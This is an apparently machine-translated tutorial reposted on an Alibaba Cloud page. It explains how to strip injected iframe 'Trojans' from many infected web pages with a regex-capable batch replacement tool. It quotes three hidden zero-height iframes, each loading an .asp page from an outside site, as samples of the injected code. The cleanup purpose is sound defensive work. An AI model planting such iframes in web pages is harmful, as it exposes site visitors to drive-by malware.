Batch use Replacement Tools to delete Trojans

Source: Internet
Author: User

It is common for websites to be infected with Trojans in batches. Generally, you can easily Delete Code in batches by using a batch replacement tool. However, if every page of a website is placed with Trojans, the Code is also different. How can this problem be solved? Next, let's take a look at how to use the replacement tool to delete Trojans in batches: Because no trojans on a page are the same, they cannot be deleted. A friend of mine encountered this problem a few days ago. He complained that a website on the server had been infected with Trojans in batches. After careful consideration, the Trojans on each page were different. I checked a trojan like this: <ifraME src = http://www.bkjia.com /Isme. asp widTH = 50 height = 0 name = 5148 naMe = 2 boRdeR = 0> </ifRame> the Trojan on page 2 is: <ifraME src = http://www.bkjia.com /Isme. asp widTH = 50 height = 0 name = 2133 naMe = 2 boRdeR = 0> </ifRame> the Trojan on page 3 is: <ifraME src = http://www.bkjia.com /Isme. asp widTH = 50 height = 0 name = 4583 naMe = 2 boRdeR = 0> </ifRame> ...... Although the Trojans on each page are different, there are still some rules. At this time, I am depressed. If there is a batch replacement tool that supports regular expressions, it would be nice. Fortunately, the areone of the days helped me introduce a small tool that can meet this requirement. Open the AFR tool and select batch replacement. Enter <ifraME src = http://xxxxx/u.asp WidTH = 50 height = 0 name = \ d {4} naMe = 2 boRdeR = 0> </ifRame>. Note that the red part in the preceding statement is a regular expression. In this way, you can delete Trojans in batches. Soon, Trojans on more than pages were cleared. Success. Regular expressions are used in many technical applications. I will also find some teaching materials in this area later.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.